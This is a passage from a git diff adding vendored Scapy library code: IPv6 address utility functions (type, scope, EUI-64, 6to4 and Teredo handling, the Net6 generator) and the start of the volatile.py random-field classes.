tmp1 = in6_get_common_plen(source_a, dst) + tmp2 = in6_get_common_plen(source_b, dst) + if tmp1 > tmp2: + return 1 + elif tmp2 > tmp1: + return -1 + return 0 + + if not candidate_set: + # Should not happen + return None + + candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True) + + return candidate_set[0] + + +# Think before modify it : for instance, FE::1 does exist and is unicast +# there are many others like that. +# TODO : integrate Unique Local Addresses +def in6_getAddrType(addr): + naddr = inet_pton(socket.AF_INET6, addr) + paddr = inet_ntop(socket.AF_INET6, naddr) # normalize + addrType = 0 + # _Assignable_ Global Unicast Address space + # is defined in RFC 3513 as those in 2000::/3 + if ((orb(naddr[0]) & 0xE0) == 0x20): + addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) + if naddr[:2] == b' \x02': # Mark 6to4 @ + addrType |= IPV6_ADDR_6TO4 + elif orb(naddr[0]) == 0xff: # multicast + addrScope = paddr[3] + if addrScope == '2': + addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) + elif addrScope == 'e': + addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) + else: + addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) + elif ((orb(naddr[0]) == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)): + addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) + elif paddr == "::1": + addrType = IPV6_ADDR_LOOPBACK + elif paddr == "::": + addrType = IPV6_ADDR_UNSPECIFIED + else: + # Everything else is global unicast (RFC 3513) + # Even old deprecated (RFC3879) Site-Local addresses + addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) + + return addrType + + +def in6_mactoifaceid(mac, ulbit=None): + """ + Compute the interface ID in modified EUI-64 format associated + to the Ethernet address provided as input. + value taken by U/L bit in the interface identifier is basically + the reversed value of that in given MAC address it can be forced + to a specific value by using optional 'ulbit' parameter. + """ + if len(mac) != 17: + return None + m = "".join(mac.split(':')) + if len(m) != 12: + return None + first = int(m[0:2], 16) + if ulbit is None or not (ulbit == 0 or ulbit == 1): + ulbit = [1, '-', 0][first & 0x02] + ulbit *= 2 + first = "%.02x" % ((first & 0xFD) | ulbit) + eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] + return eui64.upper() + + +def in6_ifaceidtomac(ifaceid): + """ + Extract the mac address from provided iface ID. Iface ID is provided + in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None + is returned on error. + """ + try: + # Set ifaceid to a binary form + ifaceid = inet_pton(socket.AF_INET6, "::" + ifaceid)[8:16] + except Exception: + return None + if ifaceid[3:5] != b'\xff\xfe': # Check for burned-in MAC address + return None + + # Unpacking and converting first byte of faceid to MAC address equivalent + first = struct.unpack("B", ifaceid[:1])[0] + ulbit = 2 * [1, '-', 0][first & 0x02] + first = struct.pack("B", ((first & 0xFD) | ulbit)) + # Split into two vars to remove the \xff\xfe bytes + oui = first + ifaceid[1:3] + end = ifaceid[5:] + # Convert and reconstruct into a MAC Address + mac_bytes = ["%.02x" % orb(x) for x in list(oui + end)] + return ":".join(mac_bytes) + + +def in6_addrtomac(addr): + """ + Extract the mac address from provided address. None is returned + on error. + """ + mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") + x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) + ifaceid = inet_ntop(socket.AF_INET6, x)[2:] + return in6_ifaceidtomac(ifaceid) + + +def in6_addrtovendor(addr): + """ + Extract the MAC address from a modified EUI-64 constructed IPv6 + address provided and use the IANA oui.txt file to get the vendor. + The database used for the conversion is the one loaded by Scapy + from a Wireshark installation if discovered in a well-known + location. None is returned on error, "UNKNOWN" if the vendor is + unknown. + """ + mac = in6_addrtomac(addr) + if mac is None or not conf.manufdb: + return None + + res = conf.manufdb._get_manuf(mac) + if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown + res = "UNKNOWN" + + return res + + +def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): + """ + Generate a Link-Scoped Multicast Address as described in RFC 4489. + Returned value is in printable notation. + + 'addr' parameter specifies the link-local address to use for generating + Link-scoped multicast address IID. + + By default, the function returns a ::/96 prefix (aka last 32 bits of + returned address are null). If a group id is provided through 'grpid' + parameter, last 32 bits of the address are set to that value (accepted + formats : b'\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). + + By default, generated address scope is Link-Local (2). That value can + be modified by passing a specific 'scope' value as an argument of the + function. RFC 4489 only authorizes scope values <= 2. Enforcement + is performed by the function (None will be returned). + + If no link-local address can be used to generate the Link-Scoped IPv6 + Multicast address, or if another error occurs, None is returned. + """ + if scope not in [0, 1, 2]: + return None + try: + if not in6_islladdr(addr): + return None + addr = inet_pton(socket.AF_INET6, addr) + except Exception: + warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") + return None + + iid = addr[8:] + + if grpid is None: + grpid = b'\x00\x00\x00\x00' + else: + if isinstance(grpid, (bytes, str)): + if len(grpid) == 8: + try: + grpid = int(grpid, 16) & 0xffffffff + except Exception: + warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") # noqa: E501 + return None + elif len(grpid) == 4: + try: + grpid = struct.unpack("!I", grpid)[0] + except Exception: + warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") # noqa: E501 + return None + grpid = struct.pack("!I", grpid) + + flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) + plen = b'\xff' + res = b'\x00' + a = b'\xff' + flgscope + res + plen + iid + grpid + + return inet_ntop(socket.AF_INET6, a) + + +def in6_get6to4Prefix(addr): + """ + Returns the /48 6to4 prefix associated with provided IPv4 address + On error, None is returned. No check is performed on public/private + status of the address + """ + try: + addr = inet_pton(socket.AF_INET, addr) + addr = inet_ntop(socket.AF_INET6, b'\x20\x02' + addr + b'\x00' * 10) + except Exception: + return None + return addr + + +def in6_6to4ExtractAddr(addr): + """ + Extract IPv4 address embedded in 6to4 address. Passed address must be + a 6to4 address. None is returned on error. + """ + try: + addr = inet_pton(socket.AF_INET6, addr) + except Exception: + return None + if addr[:2] != b" \x02": + return None + return inet_ntop(socket.AF_INET, addr[2:6]) + + +def in6_getLocalUniquePrefix(): + """ + Returns a pseudo-randomly generated Local Unique prefix. Function + follows recommendation of Section 3.2.2 of RFC 4193 for prefix + generation. + """ + # Extracted from RFC 1305 (NTP) : + # NTP timestamps are represented as a 64-bit unsigned fixed-point number, + # in seconds relative to 0h on 1 January 1900. The integer part is in the + # first 32 bits and the fraction part in the last 32 bits. + + # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) + # x = time.time() + # from time import gmtime, strftime, gmtime, mktime + # delta = mktime(gmtime(0)) - mktime(self.epoch) + # x = x-delta + + tod = time.time() # time of day. Will bother with epoch later + i = int(tod) + j = int((tod - i) * (2**32)) + tod = struct.pack("!II", i, j) + mac = RandMAC() + # construct modified EUI-64 ID + eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] + import hashlib + globalid = hashlib.sha1(tod + eui64).digest()[:5] + return inet_ntop(socket.AF_INET6, b'\xfd' + globalid + b'\x00' * 10) + + +def in6_getRandomizedIfaceId(ifaceid, previous=None): + """ + Implements the interface ID generation algorithm described in RFC 3041. + The function takes the Modified EUI-64 interface identifier generated + as described in RFC 4291 and an optional previous history value (the + first element of the output of this function). If no previous interface + identifier is provided, a random one is generated. The function returns + a tuple containing the randomized interface identifier and the history + value (for possible future use). Input and output values are provided in + a "printable" format as depicted below. + + ex:: + >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') + ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') + >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', + previous='d006:d540:db11:b092') + ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') + """ + + s = b"" + if previous is None: + d = b"".join(chb(x) for x in range(256)) + for _ in range(8): + s += chb(random.choice(d)) + previous = s + s = inet_pton(socket.AF_INET6, "::" + ifaceid)[8:] + previous + import hashlib + s = hashlib.md5(s).digest() + s1, s2 = s[:8], s[8:] + s1 = chb(orb(s1[0]) | 0x04) + s1[1:] + s1 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s1)[20:] + s2 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s2)[20:] + return (s1, s2) + + +_rfc1924map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', # noqa: E501 + 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', # noqa: E501 + 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', # noqa: E501 + 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', # noqa: E501 + 'y', 'z', '!', '#', '$', '%', '&', '(', ')', '*', '+', '-', ';', '<', '=', # noqa: E501 + '>', '?', '@', '^', '_', '`', '{', '|', '}', '~'] + + +def in6_ctop(addr): + """ + Convert an IPv6 address in Compact Representation Notation + (RFC 1924) to printable representation ;-) + Returns None on error. + """ + if len(addr) != 20 or not reduce(lambda x, y: x and y, + [x in _rfc1924map for x in addr]): + return None + i = 0 + for c in addr: + j = _rfc1924map.index(c) + i = 85 * i + j + res = [] + for j in range(4): + res.append(struct.pack("!I", i % 2**32)) + i = i // (2**32) + res.reverse() + return inet_ntop(socket.AF_INET6, b"".join(res)) + + +def in6_ptoc(addr): + """ + Converts an IPv6 address in printable representation to RFC + 1924 Compact Representation ;-) + Returns None on error. + """ + try: + d = struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) + except Exception: + return None + res = 0 + m = [2**96, 2**64, 2**32, 1] + for i in range(4): + res += d[i] * m[i] + rem = res + res = [] + while rem: + res.append(_rfc1924map[rem % 85]) + rem = rem // 85 + res.reverse() + return "".join(res) + + +def in6_isaddr6to4(x): + """ + Return True if provided address (in printable format) is a 6to4 + address (being in 2002::/16). + """ + x = inet_pton(socket.AF_INET6, x) + return x[:2] == b' \x02' + + +conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) +conf.teredoServerPort = 3544 + + +def in6_isaddrTeredo(x): + """ + Return True if provided address is a Teredo, meaning it is under + the /32 conf.teredoPrefix prefix value (by default, 2001::). + Otherwise, False is returned. Address must be passed in printable + format. + """ + our = inet_pton(socket.AF_INET6, x)[0:4] + teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] + return teredoPrefix == our + + +def teredoAddrExtractInfo(x): + """ + Extract information from a Teredo address. Return value is + a 4-tuple made of IPv4 address of Teredo server, flag value (int), + mapped address (non obfuscated) and mapped port (non obfuscated). + No specific checks are performed on passed address. + """ + addr = inet_pton(socket.AF_INET6, x) + server = inet_ntop(socket.AF_INET, addr[4:8]) + flag = struct.unpack("!H", addr[8:10])[0] + mappedport = struct.unpack("!H", strxor(addr[10:12], b'\xff' * 2))[0] + mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16], b'\xff' * 4)) + return server, flag, mappedaddr, mappedport + + +def in6_iseui64(x): + """ + Return True if provided address has an interface identifier part + created in modified EUI-64 format (meaning it matches ``*::*:*ff:fe*:*``). + Otherwise, False is returned. Address must be passed in printable + format. + """ + eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') + x = in6_and(inet_pton(socket.AF_INET6, x), eui64) + return x == eui64 + + +def in6_isanycast(x): # RFC 2526 + if in6_iseui64(x): + s = '::fdff:ffff:ffff:ff80' + packed_x = inet_pton(socket.AF_INET6, x) + packed_s = inet_pton(socket.AF_INET6, s) + x_and_s = in6_and(packed_x, packed_s) + return x_and_s == packed_s + else: + # not EUI-64 + # | n bits | 121-n bits | 7 bits | + # +---------------------------------+------------------+------------+ + # | subnet prefix | 1111111...111111 | anycast ID | + # +---------------------------------+------------------+------------+ + # | interface identifier field | + warning('in6_isanycast(): TODO not EUI-64') + return 0 + + +def _in6_bitops(a1, a2, operator=0): + a1 = struct.unpack('4I', a1) + a2 = struct.unpack('4I', a2) + fop = [lambda x, y: x | y, + lambda x, y: x & y, + lambda x, y: x ^ y + ] + ret = map(fop[operator % len(fop)], a1, a2) + return b"".join(struct.pack('I', x) for x in ret) + + +def in6_or(a1, a2): + """ + Provides a bit to bit OR of provided addresses. They must be + passed in network format. Return value is also an IPv6 address + in network format. + """ + return _in6_bitops(a1, a2, 0) + + +def in6_and(a1, a2): + """ + Provides a bit to bit AND of provided addresses. They must be + passed in network format. Return value is also an IPv6 address + in network format. + """ + return _in6_bitops(a1, a2, 1) + + +def in6_xor(a1, a2): + """ + Provides a bit to bit XOR of provided addresses. They must be + passed in network format. Return value is also an IPv6 address + in network format. + """ + return _in6_bitops(a1, a2, 2) + + +def in6_cidr2mask(m): + """ + Return the mask (bitstring) associated with provided length + value. For instance if function is called on 48, return value is + b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. + + """ + if m > 128 or m < 0: + raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) # noqa: E501 + + t = [] + for i in range(0, 4): + t.append(max(0, 2**32 - 2**(32 - min(32, m)))) + m -= 32 + + return b"".join(struct.pack('!I', x) for x in t) + + +def in6_getnsma(a): + """ + Return link-local solicited-node multicast address for given + address. Passed address must be provided in network format. + Returned value is also in network format. + """ + + r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) + r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) + return r + + +def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination # noqa: E501 + """ + Return the multicast mac address associated with provided + IPv6 address. Passed address must be in network format. + """ + + a = struct.unpack('16B', a)[-4:] + mac = '33:33:' + mac += ':'.join("%.2x" % x for x in a) + return mac + + +def in6_getha(prefix): + """ + Return the anycast address associated with all home agents on a given + subnet. + """ + r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) + r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) + return inet_ntop(socket.AF_INET6, r) + + +def in6_ptop(str): + """ + Normalizes IPv6 addresses provided in printable format, returning the + same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) + """ + return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str)) + + +def in6_isincluded(addr, prefix, plen): + """ + Returns True when 'addr' belongs to prefix/plen. False otherwise. + """ + temp = inet_pton(socket.AF_INET6, addr) + pref = in6_cidr2mask(plen) + zero = inet_pton(socket.AF_INET6, prefix) + return zero == in6_and(temp, pref) + + +def in6_isllsnmaddr(str): + """ + Return True if provided address is a link-local solicited node + multicast address, i.e. belongs to ff02::1:ff00:0/104. False is + returned otherwise. + """ + temp = in6_and(b"\xff" * 13 + b"\x00" * 3, inet_pton(socket.AF_INET6, str)) + temp2 = b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' + return temp == temp2 + + +def in6_isdocaddr(str): + """ + Returns True if provided address in printable format belongs to + 2001:db8::/32 address space reserved for documentation (as defined + in RFC 3849). + """ + return in6_isincluded(str, '2001:db8::', 32) + + +def in6_islladdr(str): + """ + Returns True if provided address in printable format belongs to + _allocated_ link-local unicast address space (fe80::/10) + """ + return in6_isincluded(str, 'fe80::', 10) + + +def in6_issladdr(str): + """ + Returns True if provided address in printable format belongs to + _allocated_ site-local address space (fec0::/10). This prefix has + been deprecated, address being now reserved by IANA. Function + will remain for historic reasons. + """ + return in6_isincluded(str, 'fec0::', 10) + + +def in6_isuladdr(str): + """ + Returns True if provided address in printable format belongs to + Unique local address space (fc00::/7). + """ + return in6_isincluded(str, 'fc00::', 7) + +# TODO : we should see the status of Unique Local addresses against +# global address space. +# Up-to-date information is available through RFC 3587. +# We should review function behavior based on its content. + + +def in6_isgladdr(str): + """ + Returns True if provided address in printable format belongs to + _allocated_ global address space (2000::/3). Please note that, + Unique Local addresses (FC00::/7) are not part of global address + space, and won't match. + """ + return in6_isincluded(str, '2000::', 3) + + +def in6_ismaddr(str): + """ + Returns True if provided address in printable format belongs to + allocated Multicast address space (ff00::/8). + """ + return in6_isincluded(str, 'ff00::', 8) + + +def in6_ismnladdr(str): + """ + Returns True if address belongs to node-local multicast address + space (ff01::/16) as defined in RFC + """ + return in6_isincluded(str, 'ff01::', 16) + + +def in6_ismgladdr(str): + """ + Returns True if address belongs to global multicast address + space (ff0e::/16). + """ + return in6_isincluded(str, 'ff0e::', 16) + + +def in6_ismlladdr(str): + """ + Returns True if address belongs to link-local multicast address + space (ff02::/16) + """ + return in6_isincluded(str, 'ff02::', 16) + + +def in6_ismsladdr(str): + """ + Returns True if address belongs to site-local multicast address + space (ff05::/16). Site local address space has been deprecated. + Function remains for historic reasons. + """ + return in6_isincluded(str, 'ff05::', 16) + + +def in6_isaddrllallnodes(str): + """ + Returns True if address is the link-local all-nodes multicast + address (ff02::1). + """ + return (inet_pton(socket.AF_INET6, "ff02::1") == + inet_pton(socket.AF_INET6, str)) + + +def in6_isaddrllallservers(str): + """ + Returns True if address is the link-local all-servers multicast + address (ff02::2). + """ + return (inet_pton(socket.AF_INET6, "ff02::2") == + inet_pton(socket.AF_INET6, str)) + + +def in6_getscope(addr): + """ + Returns the scope of the address. + """ + if in6_isgladdr(addr) or in6_isuladdr(addr): + scope = IPV6_ADDR_GLOBAL + elif in6_islladdr(addr): + scope = IPV6_ADDR_LINKLOCAL + elif in6_issladdr(addr): + scope = IPV6_ADDR_SITELOCAL + elif in6_ismaddr(addr): + if in6_ismgladdr(addr): + scope = IPV6_ADDR_GLOBAL + elif in6_ismlladdr(addr): + scope = IPV6_ADDR_LINKLOCAL + elif in6_ismsladdr(addr): + scope = IPV6_ADDR_SITELOCAL + elif in6_ismnladdr(addr): + scope = IPV6_ADDR_LOOPBACK + else: + scope = -1 + elif addr == '::1': + scope = IPV6_ADDR_LOOPBACK + else: + scope = -1 + return scope + + +def in6_get_common_plen(a, b): + """ + Return common prefix length of IPv6 addresses a and b. + """ + def matching_bits(byte1, byte2): + for i in range(8): + cur_mask = 0x80 >> i + if (byte1 & cur_mask) != (byte2 & cur_mask): + return i + return 8 + + tmpA = inet_pton(socket.AF_INET6, a) + tmpB = inet_pton(socket.AF_INET6, b) + for i in range(16): + mbits = matching_bits(orb(tmpA[i]), orb(tmpB[i])) + if mbits != 8: + return 8 * i + mbits + return 128 + + +def in6_isvalid(address): + """Return True if 'address' is a valid IPv6 address string, False + otherwise.""" + + try: + socket.inet_pton(socket.AF_INET6, address) + return True + except Exception: + return False + + +class Net6(Gen): # syntax ex. fec0::/126 + """Generate a list of IPv6s from a network address or a name""" + name = "ipv6" + ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") + + def __init__(self, net): + self.repr = net + + tmp = net.split('/') + ["128"] + if not self.ip_regex.match(net): + tmp[0] = socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] # noqa: E501 + + netmask = int(tmp[1]) + self.net = inet_pton(socket.AF_INET6, tmp[0]) + self.mask = in6_cidr2mask(netmask) + self.plen = netmask + + def _parse(self): + def parse_digit(value, netmask): + netmask = min(8, max(netmask, 0)) + value = int(value) + return (value & (0xff << netmask), + (value | (0xff >> (8 - netmask))) + 1) + + self.parsed = [ + parse_digit(x, y) for x, y in zip( + struct.unpack("16B", in6_and(self.net, self.mask)), + (x - self.plen for x in range(8, 129, 8)), + ) + ] + + def __iter__(self): + self._parse() + + def rec(n, l): + sep = ':' if n and n % 2 == 0 else '' + if n == 16: + return l + return rec(n + 1, [y + sep + '%.2x' % i + # faster than '%s%s%.2x' % (y, sep, i) + for i in range(*self.parsed[n]) + for y in l]) + + return (in6_ptop(addr) for addr in iter(rec(0, ['']))) + + def __iterlen__(self): + self._parse() + return reduce(operator.mul, ((y - x) for (x, y) in self.parsed), 1) + + def __str__(self): + try: + return next(self.__iter__()) + except (StopIteration, RuntimeError): + return None + + def __eq__(self, other): + return str(other) == str(self) + + def __ne__(self, other): + return not self == other + + __hash__ = None + + def __repr__(self): + return "Net6(%r)" % self.repr diff --git a/libs/scapy/volatile.py b/libs/scapy/volatile.py new file mode 100755 index 0000000..78ea1ed --- /dev/null +++ b/libs/scapy/volatile.py @@ -0,0 +1,1016 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Michael Farrell +# Copyright (C) Gauthier Sebaux +# This program is published under a GPLv2 license + +""" +Fields that hold random numbers. +""" + +from __future__ import absolute_import +import copy +import random +import time +import math +import re +import uuid +import struct + +from scapy.base_classes import Net +from scapy.compat import bytes_encode, chb, plain_str +from scapy.utils import corrupt_bits, corrupt_bytes +from scapy.modules.six.moves import range + +#################### +# Random numbers # +#################### + + +class RandomEnumeration: + """iterate through a sequence in random order. + When all the values have been drawn, if forever=1, the drawing is done again. # noqa: E501 + If renewkeys=0, the draw will be in the same order, guaranteeing that the same # noqa: E501 + number will be drawn in not less than the number of integers of the sequence""" # noqa: E501 + + def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): + self.forever = forever + self.renewkeys = renewkeys + self.inf = inf + self.rnd = random.Random(seed) + self.sbox_size = 256 + + self.top = sup - inf + 1 + + n = 0 + while (1 << n) < self.top: + n += 1 + self.n = n + + self.fs = min(3, (n + 1) // 2) + self.fsmask = 2**self.fs - 1 + self.rounds = max(self.n, 3) + self.turns = 0 + self.i = 0 + + def __iter__(self): + return self + + def next(self): + while True: + if self.turns == 0 or (self.i == 0 and self.renewkeys): + self.cnt_key = self.rnd.randint(0, 2**self.n - 1) + self.sbox = [self.rnd.randint(0, self.fsmask) + for _ in range(self.sbox_size)] + self.turns += 1 + while self.i < 2**self.n: + ct = self.i ^ self.cnt_key + self.i += 1 + for _ in range(self.rounds): # Unbalanced Feistel Network + lsb = ct & self.fsmask + ct >>= self.fs + lsb ^= self.sbox[ct % self.sbox_size] + ct |= lsb << (self.n - self.fs) + + if ct < self.top: + return self.inf + ct + self.i = 0 + if not self.forever: + raise StopIteration + __next__ = next + + +class VolatileValue(object): + def __repr__(self): + return "<%s>" % self.__class__.__name__ + + def __eq__(self, other): + x = self._fix() + y = other._fix() if isinstance(other, VolatileValue) else other + if not isinstance(x, type(y)): + return False + return x == y + + def __ne__(self, other): + # Python 2.7 compat + return not self == other + + __hash__ = None + + def __getattr__(self, attr): + if attr in ["__setstate__", "__getstate__"]: + raise AttributeError(attr) + return getattr(self._fix(), attr) + + def __str__(self): + return str(self._fix()) + + def __bytes__(self): + return bytes_encode(self._fix()) + + def __len__(self): + return len(self._fix()) + + def copy(self): + return copy.copy(self) + + def _fix(self): + return None + + +class RandField(VolatileValue): + pass + + +class _RandNumeral(RandField): + """Implements integer management in RandField""" + + def __int__(self): + return int(self._fix()) + + def __index__(self): + return int(self) + + def __nonzero__(self): + return bool(self._fix()) + __bool__ = __nonzero__ + + def __add__(self, other): + return self._fix() + other + + def __radd__(self, other): + return other + self._fix() + + def __sub__(self, other): + return self._fix() - other + + def __rsub__(self, other): + return other - self._fix() + + def __mul__(self, other): + return self._fix() * other + + def __rmul__(self, other): + return other * self._fix() + + def __floordiv__(self, other): + return self._fix() / other + __div__ = __floordiv__ + + def __lt__(self, other): + return self._fix() < other + + def __le__(self, other): + return self._fix() <= other + + def __ge__(self, other): + return self._fix() >= other + + def __gt__(self, other): + return self._fix() > other + + def __lshift__(self, other): + return self._fix() << other + + def __rshift__(self, other): + return self._fix() >> other + + def __and__(self, other): + return self._fix() & other + + def __rand__(self, other): + return other & self._fix() + + def __or__(self, other): + return self._fix() | other + + def __ror__(self, other): + return other | self._fix() + + +class RandNum(_RandNumeral): + """Instances evaluate to random integers in selected range""" + min = 0 + max = 0 + + def __init__(self, min, max): + self.min = min + self.max = max + + def _fix(self): + return random.randrange(self.min, self.max + 1) + + +class RandFloat(RandNum): + def _fix(self): + return random.uniform(self.min, self.max) + + +class RandBinFloat(RandNum): + def _fix(self): + return struct.unpack("!f", bytes(RandBin(4)))[0] + + +class RandNumGamma(_RandNumeral): + def __init__(self, alpha, beta): + self.alpha = alpha + self.beta = beta + + def _fix(self): + return int(round(random.gammavariate(self.alpha, self.beta))) + + +class RandNumGauss(_RandNumeral): + def __init__(self, mu, sigma): + self.mu = mu + self.sigma = sigma + + def _fix(self): + return int(round(random.gauss(self.mu, self.sigma))) + + +class RandNumExpo(_RandNumeral): + def __init__(self, lambd, base=0): + self.lambd = lambd + self.base = base + + def _fix(self): + return self.base + int(round(random.expovariate(self.lambd))) + + +class RandEnum(RandNum): + """Instances evaluate to integer sampling without replacement from the given interval""" # noqa: E501 + + def __init__(self, min, max, seed=None): + self.seq = RandomEnumeration(min, max, seed) + super(RandEnum, self).__init__(min, max) + + def _fix(self): + return next(self.seq) + + +class RandByte(RandNum): + def __init__(self): + RandNum.__init__(self, 0, 2**8 - 1) + + +class RandSByte(RandNum): + def __init__(self): + RandNum.__init__(self, -2**7, 2**7 - 1) + + +class RandShort(RandNum): + def __init__(self): + RandNum.__init__(self, 0, 2**16 - 1) + + +class RandSShort(RandNum): + def __init__(self): + RandNum.__init__(self, -2**15, 2**15 - 1) + + +class RandInt(RandNum): + def __init__(self): + RandNum.__init__(self, 0, 2**32 - 1) + + +class RandSInt(RandNum): + def __init__(self): + RandNum.__init__(self, -2**31, 2**31 - 1) + + +class RandLong(RandNum): + def __init__(self): + RandNum.__init__(self, 0, 2**64 - 1) + + +class RandSLong(RandNum): + def __init__(self): + RandNum.__init__(self, -2**63, 2**63 - 1) + + +class RandEnumByte(RandEnum): + def __init__(self): + RandEnum.__init__(self, 0, 2**8 - 1) + + +class RandEnumSByte(RandEnum): + def __init__(self): + RandEnum.__init__(self, -2**7, 2**7 - 1) + + +class RandEnumShort(RandEnum): + def __init__(self): + RandEnum.__init__(self, 0, 2**16 - 1) + + +class RandEnumSShort(RandEnum): + def __init__(self): + RandEnum.__init__(self, -2**15, 2**15 - 1) + + +class RandEnumInt(RandEnum): + def __init__(self): + RandEnum.__init__(self, 0, 2**32 - 1) + + +class RandEnumSInt(RandEnum): + def __init__(self): + RandEnum.__init__(self, -2**31, 2**31 - 1) + + +class RandEnumLong(RandEnum): + def __init__(self): + RandEnum.__init__(self, 0, 2**64 - 1) + + +class RandEnumSLong(RandEnum): + def __init__(self): + RandEnum.__init__(self, -2**63, 2**63 - 1) + + +class RandEnumKeys(RandEnum): + """Picks a random value from dict keys list. """ + + def __init__(self, enum, seed=None): + self.enum = list(enum) + RandEnum.__init__(self, 0, len(self.enum) - 1, seed) + + def _fix(self): + return self.enum[next(self.seq)] + + +class RandChoice(RandField): + def __init__(self, *args): + if not args: + raise TypeError("RandChoice needs at least one choice") + self._choice = list(args) + + def _fix(self): + return random.choice(self._choice) + + +class RandString(RandField): + def __init__(self, size=None, chars=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): # noqa: E501 + if size is None: + size = RandNumExpo(0.01) + self.size = size + self.chars = chars + + def _fix(self): + s = b"" + for _ in range(self.size): + rdm_chr = random.choice(self.chars) + s += rdm_chr if isinstance(rdm_chr, str) else chb(rdm_chr) + return s + + def __str__(self): + return plain_str(self._fix()) + + def __bytes__(self): + return bytes_encode(self._fix()) + + def __mul__(self, n): + return self._fix() * n + + +class RandBin(RandString): + def __init__(self, size=None): + super(RandBin, self).__init__(size=size, chars=b"".join(chb(c) for c in range(256))) # noqa: E501 + + +class RandTermString(RandBin): + def __init__(self, size, term): + self.term = bytes_encode(term) + super(RandTermString, self).__init__(size=size) + + def _fix(self): + return RandBin._fix(self) + self.term + + +class RandIP(RandString): + def __init__(self, iptemplate="0.0.0.0/0"): + RandString.__init__(self) + self.ip = Net(iptemplate) + + def _fix(self): + return self.ip.choice() + + +class RandMAC(RandString): + def __init__(self, template="*"): + RandString.__init__(self) + template += ":*:*:*:*:*" + template = template.split(":") + self.mac = () + for i in range(6): + if template[i] == "*": + v = RandByte() + elif "-" in template[i]: + x, y = template[i].split("-") + v = RandNum(int(x, 16), int(y, 16)) + else: + v = int(template[i], 16) + self.mac += (v,) + + def _fix(self): + return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac + + +class RandIP6(RandString): + def __init__(self, ip6template="**"): + RandString.__init__(self) + self.tmpl = ip6template + self.sp = self.tmpl.split(":") + for i, v in enumerate(self.sp): + if not v or v == "**": + continue + if "-" in v: + a, b = v.split("-") + elif v == "*": + a = b = "" + else: + a = b = v + + if not a: + a = "0" + if not b: + b = "ffff" + if a == b: + self.sp[i] = int(a, 16) + else: + self.sp[i] = RandNum(int(a, 16), int(b, 16)) + self.variable = "" in self.sp + self.multi = self.sp.count("**") + + def _fix(self): + nbm = self.multi + ip = [] + for i, n in enumerate(self.sp): + if n == "**": + nbm -= 1 + remain = 8 - (len(self.sp) - i - 1) - len(ip) + nbm + if "" in self.sp: + remain += 1 + if nbm or self.variable: + remain = random.randint(0, remain) + for j in range(remain): + ip.append("%04x" % random.randint(0, 65535)) + elif isinstance(n, RandNum): + ip.append("%04x" % n) + elif n == 0: + ip.append("0") + elif not n: + ip.append("") + else: + ip.append("%04x" % n) + if len(ip) == 9: + ip.remove("") + if ip[-1] == "": + ip[-1] = "0" + return ":".join(ip) + + +class RandOID(RandString): + def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): # noqa: E501 + RandString.__init__(self) + self.ori_fmt = fmt + if fmt is not None: + fmt = fmt.split(".") + for i 